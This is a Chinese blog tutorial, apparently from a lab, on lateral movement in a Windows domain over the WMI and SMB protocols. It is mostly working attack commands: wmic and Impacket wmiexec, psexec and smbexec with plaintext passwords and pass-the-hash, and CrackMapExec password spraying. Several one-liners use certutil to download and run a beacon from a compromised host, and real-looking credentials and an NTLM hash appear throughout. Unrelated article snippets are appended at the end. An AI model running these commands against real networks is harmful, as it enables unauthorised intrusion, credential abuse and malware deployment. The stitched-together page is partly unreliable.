当前位置: 首页 > news >正文

内网安全:WMI协议与SMB协议横向移动

目录

网络拓扑图

网络环境说明

WMI协议

SMB协议

域内信息收集

WMI协议 - 横向移动

利用方式一:wmic命令

利用方式一:cscript

利用方式一:impacket

SMB协议 - 横向移动

利用方式一:psexec

利用方式二:psexec.exe

利用方式三:CS插件

利用方式四:Impacket-smbexec

利用方式五:services

域横向移动-工具自动化横向

CraMapExec-密码喷射

一. 下载安装Linux平台代理Proxychains

二. CraMapExec 上线整个内网


网络拓扑图

IPC横向移动的实验环境如下

网络环境说明

攻击机:

        LInux      IP:47.94.236.117

内网环境:单域环境

        Webserver:内网主机的网络出口,已拿到权限,通过它进行内网横向移动

                             IP:192.168.46.146       192.168.3.31

        DC:域控     IP:192.168.3.21

        Jack-PC:    IP:192.168.3.29

        Mary-PC:   IP:192.168.3.25

        SQLServer:IP:192.168.3.32

        FileServer: IP:192.168.3.30

目标:拿下整个内网

WMI协议

WMI(Windows Management Instrumentation)协议是一种用于管理和监控Windows操作系统的协议。它是Microsoft Windows提供的一套系统管理和监控工具,用于管理本地或远程计算机上的系统信息、配置和状态。

WMI协议的主要目标是提供一种统一的接口,使系统管理员和开发人员能够通过编程方式获取和控制Windows操作系统的各种管理信息。通过WMI协议,可以访问和操作计算机的硬件、操作系统、网络、进程、服务等各个方面的信息。

通过使用WMI协议,可以执行以下操作:

  • 获取系统信息:可以查询计算机的硬件信息(如CPU、内存、磁盘)、操作系统信息(如版本、安装日期)、网络信息等。

  • 远程管理:可以通过WMI协议远程管理其他计算机上的服务、进程、事件日志等。

  • 监控和警报:可以通过WMI协议实时监控系统的性能指标、事件日志,并设置警报和触发操作。

  • 配置和设置:可以使用WMI协议修改系统配置、管理用户账户、安装软件等。

在Windows操作系统中,WMI协议提供了强大的管理和监控功能,使系统管理员能够更轻松地管理和维护系统。开发人员也可以利用WMI协议编写

SMB协议

SMB(Server Message Block)协议是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它是在局域网(LAN)中广泛使用的一种协议,最初由IBM开发,后来由微软引入并逐渐发展为现代的SMB协议。

SMB协议的作用是允许计算机之间共享文件和资源,并提供对这些共享资源的访问和管理。它提供了一套通信规范和命令,使计算机能够进行以下操作:

  1. 文件共享:SMB协议允许计算机共享文件和文件夹。通过SMB协议,用户可以在网络上访问其他计算机上共享的文件,就像访问本地文件一样。这使得多个用户可以在网络上共享和协作编辑文件。

  2. 打印机共享:SMB协议还支持打印机共享。它允许计算机将本地打印机共享给其他网络上的计算机,使这些计算机可以通过网络打印文件。

  3. 资源访问和管理:SMB协议提供了一系列命令和功能,用于访问和管理网络上的共享资源。用户可以通过SMB协议浏览共享资源、查看文件属性、创建、删除和重命名文件等。

  4. 身份验证和安全:SMB协议支持身份验证机制,确保只有经过授权的用户可以访问共享资源。它使用用户凭据进行身份验证,并可以使用加密来保护数据传输的安全性。

SMB协议通常在应用层和传输层之间运行,使用TCP/IP作为底层的网络传输协议。它在Windows操作系统中得到广泛应用,并被用于局域网中的文件共享和打印机共享。此外,SMB协议还经过不断的发展和改进,最新的版本是SMB3,它引入了更高的性能和安全性特性。

域内信息收集

主要针对内网的网络情况,已沦陷主机明文密码,Hash抓取上进行收集

如何收集不再赘述,直接展示收集的结果

域中网络,Webserver 192.168.46.128     192.168.46.*网段出网,192.168.3.*网段不出网

针对的135端口扫描

已沦陷主机内存密码,Hash抓取结果

WMI协议 - 横向移动

WMI协议是通过135端口进行利用的,支持用户明文或hash方式进行认证

不会再目标系统日志留下痕迹

利用方式一:wmic命令

这是一个单执行的指令,系统自带命令无回显

优势:不需要免杀

缺点:不支持Hash,且无回显

win10 使用该命令会报错
‘vmic’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
在Win10中,wmic已经归入C:\Windows\System32\wbem文件夹,而环境变量只设置到C:\Windows\System32,因此找不到wmic
只需要添加C:\Windows\System32\wbem 到环境变量——系统变量的Path变量

执行命令

换用DC账户密码,ver已经执行了,但是因为无回显

执行命令,说明执行了,但是无回显

普通账号显示拒绝访问 权限不够,DC账号可用

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/bindtcp-2222.exe c:/beacon.exe"	

 执行命令。经测试 不能执行后门,DC账号也不能用

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"   

利用方式一:cscript

这是交互式的,也就意味可以反弹shell,但是CS无法反弹,直接会卡死

这个实战不常用

需要再Webserver上传wmiexec.vbs

在Webserver上执行命令,cscript系统自带

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

反弹shell

无法反弹shell,适合在shell环境进行横向移动

利用方式一:impacket

利用impacket中的wmiexec模块进行横向移动,非系统自带,支持hash传递

想要使用这种方式:

  1. 上传工具到webserver上,需要py解析环境
  2. 通过代理技术,把攻击机带进内网中,就可以攻击机本地测试(推荐)

代理搭建:

CS服务端:代理转发-Socks代理-配置代理端口

攻击机:proxifier设置代理,IP为CS服务器IP:47.94.236.117 

Py本地运行,测试目标的本地用户 administrator

python3 wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"
或者
python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

CS建立反向连接

CS选择Webserver的会话建立监听器,生成木马,上传到Webserver的web服务根目录下

之后横向移动令目标下载木马并执行

目标C盘出现木马

 上线

接下来就再抓取新沦陷主机的内存明文密码和Hash,

SMB协议 - 横向移动

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。

利用方式一:psexec

交互式 windows官方工具,白名单,不会被杀,可以从微软官方pstools下载得到

在上面已经建立了代理的情况,攻击机访问192.168.3.*网络的流量都会转发给CS服务器发到内网中,可以在本地直接测试

这个是交互式的会反弹一个cmd窗口,所以不可以在CS上做。

这个的执行需要管理员以上的权限

攻击机本地测试:

psexec64 \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

 反弹shell回来:

利用方式二:psexec.exe

EXE版Impacket的利用,同上在本地进行测试

psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

也会反弹会一个shell

利用方式三:CS插件

CS差价-有手就行

 失败

去掉域GOD

 成功上线

选上GOD就是用域用户administrator登录,不选就是本地adminstrator登录,两个是不一样的

原因很简单,用GOD域用户administrator登录账号密码是错误的,那个Hash不是域用户的,这个Hash确实本地administrator的。

横向移动要学会切换用户去攻击,攻击对方域用户,攻击对方本地账户

利用方式四:Impacket-smbexec

利用代理技术,把攻击机带入内网进行攻击

攻击本地用户 + 明文密码,成功

python3 smbexec.py ./administrator:admin!@#45@192.168.3.32	#非域用户

攻击域用户 + 明文密码,失败 

python3 smbexec.py god/administrator:admin!@#45@192.168.3.32	#域用户

攻击本地用户 + Hash,成功 

python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

攻击域用户 + Hash,失败 

python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32

利用方式五:services

单执行,无回显,不推荐,太麻烦了

services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell

域横向移动-工具自动化横向

这上一篇中,演示了IPC协议使用写脚本横向移动

每次跑完脚本,有主机上线,抓取密码,使用新密码再进行横向移动跑脚本。

如果有的主机被发现,每次修改密码太过于繁琐。推荐一款工具,实现自动化

CrackMapExec
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
Linux Proxychains使用
安装使用:https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置:Proxychains.conf 代理调用:Proxychains 命令
————————————————
版权声明:本文为CSDN博主「今天是 几 号」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_53009585/article/details/129775792

CraMapExec-密码喷射

常用命令:

密码喷射域登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’
密码喷射本地登录:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth
密码喷射本地登录命令执行:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘whoami’ --local-auth
密码喷射本地登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth
密码喷射域登录命令执行上线:
proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’

密码喷射本地&域登录命令执行全自动上线:
proxychains python cme smb 192.168.3.21-32 -u user.txt -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’

proxychains python cme smb 192.168.3.21-32 -u administrator -p pass.txt -x ‘cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/webserver4444.exe c:/webserver4444.exe & c:/webserver4444.exe’ --local-auth

Windows平台使用:使用代理,运行工具即可

这里演示的是Linux平台:项目放在Linux上跑     

Linux-->Proxychains(代理,Linux流量转发)--->CS   和win平台原理一样,就是换个工具

现在回到最开始只拿到一个主机的时候,提取的密码

一. 下载安装Linux平台代理Proxychains

安装使用参考这篇文章,很详细:

https://blog.csdn.net/qq_53086690/article/details/121779832

代理配置文件:Proxychains.conf

代理调用:Proxychains 命令

配置代理:

vim /etc/Proxychains.conf

走的是SOCK4协议,因为攻击机就是CS所在的服务器,所以需要把代理配置再本地的30194端口,CS接收发送到内网

二. CraMapExec 上线整个内网

测试代理

使用代理运行工具,打开项目

proxychains python cme

使用smb协议通讯内网主机 192.168.3.21

proxychains python cme smb 192.168.3.21

密码喷射与登录,测试域登录,即攻击域用户

proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’

全部失败,红色减号表示失败

密码喷射本地登录 攻击主机本地用户

proxychains python cme smb 192.168.3.21-32 -u administrator -p ‘admin!@#45’ --local-auth

成功,测试出来可以登录的主机

直接攻击 192.168.3.29 命令执行

之后命令该为下载执行命令即可

 192.168.3.29 上线CS

测试利用Hash喷射域用户

全部成功

因为这个Hash正好是域控的Hash

加上命令执行

之后全部上线

还可以这样操作

vim u.txt      里面全是用户名(信息收集得到)

vim p.txt      拿到的所有凭据

u.txt和p.txt我写反了 不过没关系,参数换一下即可

最终全部上线

也就是说我们控制lwebserver后提取密码与哈希,就能利用这个工具自动化横向移动。

相关文章:

内网安全:WMI协议与SMB协议横向移动

目录 网络拓扑图 网络环境说明 WMI协议 SMB协议 域内信息收集 WMI协议 - 横向移动 利用方式一:wmic命令 利用方式一:cscript 利用方式一:impacket SMB协议 - 横向移动 利用方式一:psexec 利用方式二:psexe…...

05-Numpy基础-用于数组的文件输入输出

np.save和np.load是读写磁盘数组数据的两个主要函数。默认情况下,数组是以未压缩的原始二进制格式保存在扩展名为.npy的文件中的: 如果文件路径末尾没有扩展名.npy,则该扩展名会被自动加上。然后就可以通过np.load读取磁盘上的数组&#xff1…...

Docker微服务实战

文章目录 业务需求IDEA编写代码编写Dockerfile构建镜像运行容器网页端访问测试 业务需求 利用Docker部署应用服务,实现在网页端通过输入地址 ip:端口/hello/docker,页面显示hello docker ! IDEA编写代码 创建springboot项目 网上很多教程,此步骤省略……...

NLNet论文总结和代码实现

Non-local Neural Networks(非局部神经网络):使用自注意力机制捕获远程依赖。 论文: https://arxiv.org/pdf/1711.07971.pdf 源码: 长距离依赖关系,顾名思义,是要和远程建立关系,在l…...

数字 IC 设计职位经典笔/面试题(三)

共100道经典笔试、面试题目(文末可全领) 1. IC 设计中同步复位与异步复位的区别? 同步复位在时钟沿变化时,完成复位动作。异步复位不管时钟,只要复位信号满足条件,就完成复位动作。异步复位对复位信号要求…...

Matlab分割彩色图像

彩色图像 彩色图像除有亮度信息外,还包含有颜色信息。以最常见的RGB(红绿蓝)彩色空间为例来简要说明彩色图像: 彩色图像可按照颜色的数目来划分。例如,256色图像和真彩色图像(2的16次方=21677…...

[数据集][目标检测]垃圾目标检测数据集VOC格式14963张44类别

数据集格式:Pascal VOC格式(不包含分割的txt文件,仅仅包含jpg图片和对应的xml) 图片数量(jpg文件个数):14963 标注数量(xml文件个数):14963 标注类别数:44 标注类别名称:["toiletries","plastic utensi…...

MATLAB算法实战应用案例精讲-【深度学习】推荐系统模型DSSMDeepFM

目录 前言 DSSM 输入层 英文 中文 表示层 匹配层 优缺点 DeepFM模...

基于springboot的社区生活缴费系统/基于javaweb的水电缴费系统

摘 要 网络的广泛应用给生活带来了十分的便利。所以把社区生活缴费管理与现在网络相结合,利用java语言建设社区生活缴费系统,实现社区生活缴费管理的信息化。则对于进一步提高社区生活缴费管理发展,丰富社区生活缴费管理经验能起到不少的促进…...

Linux —— keepalived

简介 Keepalived 是一个用 C 语言编写的路由软件。这个项目的主要目标是为 Linux 系统和基于 Linux 的基础设施提供简单而强大的负载均衡和高可用性功能。 Keepalived 开源并且免费的软件。 Keepalived 的2大核心功能 1. loadbalance 负载均衡 LB:ipvs--》lvs软件…...

ubuntu安装pyenv

Pyenv是一种轻量级的Python版本管理工具,它可以让你在同一台机器上同时管理多个Python版本。这个工具对于开发者来说非常有用,因为在不同的项目中可能需要使用不同版本的Python。下面是在Ubuntu系统上安装pyenv,并配置环境变量的步骤&#xf…...

【Kubernetes】对外服务之 Ingress

目录 简介 Ingress 组成 ●ingress ●ingress-controller Ingress-Nginx 工作原理 部署 nginx-ingress-controller 1、部署ingress-controller Pod及相关资源 ingress 暴露服务的方式 ●方式一:DaemonSetHostNetworknodeSelector ●方式二:Dep…...

大数据项目实战(安装准备)

一,搭建大数据集群环境 1.1安装准备 1.1.1虚拟机安装与克隆 1.虚拟机的安装和设置以及启动虚拟机并安装操作系统(以下仅供参考) 安装一台虚拟机主机名为:hadoop01的虚拟机备用 VMware虚拟机安装Linux教程(超详细)_vmware安装…...

SAP ABAP基础语法-内表篇(二)

十一、使用 SPLIT 直接拆分到内表: DATA: BEGIN OF auth_data OCCURS 0,text(1024),END OF auth_data.STR SE39/SE39/SE01/SE10.SPLIT STR AT / INTO TABLE auth_data. 二十、CONDENSE 的用法: 把工作区的内的所有字段的值 赋给 字符串 DATA: BEGIN O…...

读SQL学习指南(第3版)笔记05_过滤

1. 不需要考虑排除任何列 1.1. 清除数据表中所有的内容 1.2. 暂存新数据仓库的数据 1.3. 向数据表中新添一列后 1.4. 修改数据表中的所有行 1.5. 检索消息队列表中的所有行 2. where子句 2.1. 可以在其中指定一个或多个过滤条件,用于限制SQL语句处理的行数 …...

防火墙组建双击热备后老是主备自动切换怎么处理?

环境: 2台主备防火墙 8.0.75 AF-2000-FH2130B-SC 核心交换机 H3C S6520-26Q-SI version 7.1.070, Release 6326 问题描述: 防火墙组建双击热备后老是主备自动切换怎么处理? 查看切换日志,本地故障值小于对端,经常自动切换导致eth3接口业务老是自动断开,切换频率,…...

SQL地址门牌排序,字典序转为数字序

页面有一批地址数据查询,结果字符排序默认是字典序的,所以造成了门牌3号在30号之前,影响用户体验; id, road_code, road_name, address_fullname, address_name 102 10086 人民一路 北江省南海市西湖区人民一路3号 3号 103 10086…...

DevExpress WinForms数据编辑器组件,提供丰富的数据输入样式!(二)

DevExpress WinForms超过80个高影响力的WinForms编辑器和多用途控件,从屏蔽数据输入和内置数据验证到HTML格式化,DevExpress数据编辑库提供了无与伦比的数据编辑选项,包括用于独立数据编辑或用于容器控件(如Grid, TreeList和Ribbon)的单元格。…...

HTML番外篇(五)-移动端适配

一、媒体查询 1.认识媒体查询 媒体查询是一种提供给开发者针对不同设备需求进行定制化开发的一个接口。 你可以根据设备的类型(比如屏幕设备、打印机设备)或者特定的特性(比如屏幕的宽度)来修改你的页面。 媒体查询的使用方式主要有三种:…...

数字孪生:重塑制造、医疗和能源等领域的未来

数字孪生技术,作为虚拟仿真的重要领域,正以其强大的能力在各个行业中创造前所未有的创新。本文带大家一起深入探讨数字孪生技术在不同领域的广泛应用场景,展示其在实现效率、可靠性和智能化方面的积极影响。 制造业与工业领域 数字孪生技术在…...

大话软工笔记—需求分析概述

需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...

.Net框架,除了EF还有很多很多......

文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

Auto-Coder使用GPT-4o完成:在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务

通过akshare库,获取股票数据,并生成TabPFN这个模型 可以识别、处理的格式,写一个完整的预处理示例,并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务,进行预测并输…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

OkHttp 中实现断点续传 demo

在 OkHttp 中实现断点续传主要通过以下步骤完成,核心是利用 HTTP 协议的 Range 请求头指定下载范围: 实现原理 Range 请求头:向服务器请求文件的特定字节范围(如 Range: bytes1024-) 本地文件记录:保存已…...

高防服务器能够抵御哪些网络攻击呢?

高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...

Web 架构之 CDN 加速原理与落地实践

文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 &#xf…...

React---day11

14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...

C#学习第29天:表达式树(Expression Trees)

目录 什么是表达式树? 核心概念 1.表达式树的构建 2. 表达式树与Lambda表达式 3.解析和访问表达式树 4.动态条件查询 表达式树的优势 1.动态构建查询 2.LINQ 提供程序支持: 3.性能优化 4.元数据处理 5.代码转换和重写 适用场景 代码复杂性…...

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing

Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...